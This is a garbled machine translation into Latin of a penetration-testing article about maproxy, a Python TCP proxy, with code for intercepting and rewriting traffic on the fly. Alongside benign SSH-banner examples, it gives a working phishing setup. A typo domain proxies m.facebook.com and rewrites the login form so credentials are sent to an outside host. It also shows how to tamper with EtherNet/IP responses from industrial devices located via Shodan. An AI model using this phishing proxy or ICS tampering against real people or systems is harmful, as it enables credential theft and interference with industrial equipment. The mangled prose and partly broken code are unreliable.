Processus network notitia in musca

Versio articuli praeparata est pervigilio initii "Pentest. Penetratio usu probatio".

Processus network notitia in musca

abstracte

Varii rationes securitatis censibus, ab iusto perspicacitate tentantes et Quadrigis Rubri operationes ad IOT/ICS machinas et SCADA caedentes, operando cum retis binariis protocolla involvunt, id est, essentialiter intercipiendi et modificandi retis notitias inter clientem et scopo. Suavissima negotiatio retis non est arduum negotium cum instrumenta sicut Wireshark, Tcpdump vel Scapy habemus, sed modificatio laboris magis intensivus esse videtur cum opus erit aliquod genus interfaciendi ad datam retiaculum legere, percolare, mutare. eam in musca remittito et hospitem scopo remittit in tempore fere reali. Praeterea specimen esset si tale instrumentum cum multiplicibus iunctis parallelis operari posset et scriptoribus uti mos esset.

Olim inventum instrumentum nomine maproxyDocumenta celeriter mihi patefactum est maproxy – sicut quod opus est. Hoc est satis simplex, versatile, procuratorem TCP facile configurabile. Hoc instrumentum in pluribus applicationibus satis complexis temptavi, inclusis ICS machinis (quae multum fasciculorum generant) ut videre posset an plures nexus parallelos tractare posset, et instrumentum bene praestitit.

Hic articulus te introducet ad processus network notitia in musca utens maproxy.

Overview

tool maproxy Fundatur in Pollucis, popularis et maturae asynchronae network compage in Pythone.

In genere pluribus modis operari potest;

  • TCP:TCP - unencrypted TCP hospites;
  • TCP:SSL и SSL:TCP - uno modo encryption;
  • SSL:SSL - encryption duos modos.

Veniam ut bibliothecam. Ad initium velox, exempla exempla uti potes quae pelagus reflectunt munera bibliotheca:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Causa 1 - simplex bidirectional procuratorem

Fundatur tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

per default ProxyServer() duas rationes accipit - nexum locum et portum scopo. server.listen() unum argumentum sumit - portus audiendi nexum advenientis.

Faciendo scriptum:

# python tcp2tcp.py

Ut in probationem curramus, coniungi incipimus cum servo locali SSH per scripturam nostram procuratorem, qui in auscultat. 2222/tcp portum et annectit ad portum vexillum 22/tcp SSH servientes:

Processus network notitia in musca

Grata vexillum te certiorem reddit exemplum nostrum scriptionem retis negocii feliciter procurasse.

Causa II - notitia modificationis

Alius demo scriptor logging_proxy.py apta interacting cum network notitia. Commentaria in tabella describe modos ordinis quos mutare potes ad propositum tuum consequendum:

Processus network notitia in musca

Maxime interesting res hic est:

  • on_c2p_done_read - intercipere notitias in via a cliente servo;
  • on_p2s_done_read — auderet.

Experiamur mutato SSH vexillo quod servo ad clientem redit:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Judicium scriptum:

Processus network notitia in musca

Ut videre potes, client deceptus est quod nomen eius SSH nomen illi mutatum est «DumnySSH».

Processus network notitia in musca

Causa 3 - simplex phishing pagina

Modi infiniti sunt ut hoc instrumento utantur. Hoc tempore focus in re aliqua utilior ex parte Rubri Team operationes. Imitemur ad portum pagina m.facebook.com and use a custom domain with a typo deliberate, e.g. m.facebok.com. Ad demonstrationem proposita, id nunc sumamus quod regio a nobis relatus est.

Nos in unencrypted network connexionem cum victimarum nostrarum procuratorio et SSL Flumine ad Facebook server constituendum (31.13.81.36). Ad huius operis exemplum, necesse est ut caput exercitus HTTP reponere et rectam hostname injiciamus, et compressionem quoque responsionis disable erimus ut contenta facile accedere possimus. Tandem HTML formam restituemus ut documentorum loginorum nobis mittantur pro servientibus Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/la/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

eventually:

Processus network notitia in musca

Ut videre potes, fuimus feliciter locum pristinum reponere.

Causa 4 - Porting Aer/IP

De machinationibus industrialibus et programmatibus (ICS/SCADA) per aliquantum tempus tractavi, ut programmatores moderatores (PLC), I/O moduli, agitationes, mensae, scalae ambitus programmandi et plura plura. Hic casus est iis qui res industriae placent. Talia solutiones hacking implicant actuose ludens cum protocolla retiacula. In exemplo sequenti, vellem ostendere quomodo ICS/SCADA negotiatio retis mutare potes.

Hoc enim sequenti opus erit.

  • Retis sniffer, verbi gratia, Wireshark;
  • Aer/IP vel iustus fabrica HAUSTUS, eam invenire potes utens servitio Shodan;
  • Nostrum scriptum fundatur maproxy.

Primum inspiciamus quid identificatio typica responsionis ex CIP (Protocollo Industrial Commune) similis sit:

Processus network notitia in musca

Fabrica identificatio efficitur utens protocollo Ethernet/IP, quod est aucta versio protocolli industrialis Ethernet quod protocolla moderari ut CIP inligat. Nos mutamus id nomen quod in screenshot visibilis est "NI-IndComm for Ethernet" per nostrum procuratorem script. Potuimus reuse scripto logging_proxy.py et similiter genus modum mutare on_p2s_done_readquia volumus aliud nomen identitatis in cliente esse conspicuum.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Per se, bis identitatis fabricam petivimus, secunda responsio prima fuit, et prima in musca mutata est.

Et ultima

In mea sententia, maproxy Instrumentum opportunum et simplex, quod etiam in Pythone scriptum est, ut credo te quoque eo uti posse. Nimirum plura instrumenta implicata sunt ad retis processus et modificandas notitias, sed etiam maiorem attentionem requirunt et plerumque ad certum usum causa creati sunt, e.g. muraena, Modaliska aut malintx nam casus similes tertio vel canape ad extremum casum. Uno modo vel alio, adiuvante maproxy notiones tuas ad intercipiendas retis notitias cito efficiendum potes, cum exemplum scriptorum clarissimum sit.

Testis authenticas machinationes in Fenestra AD

Source: www.habr.com

Add a comment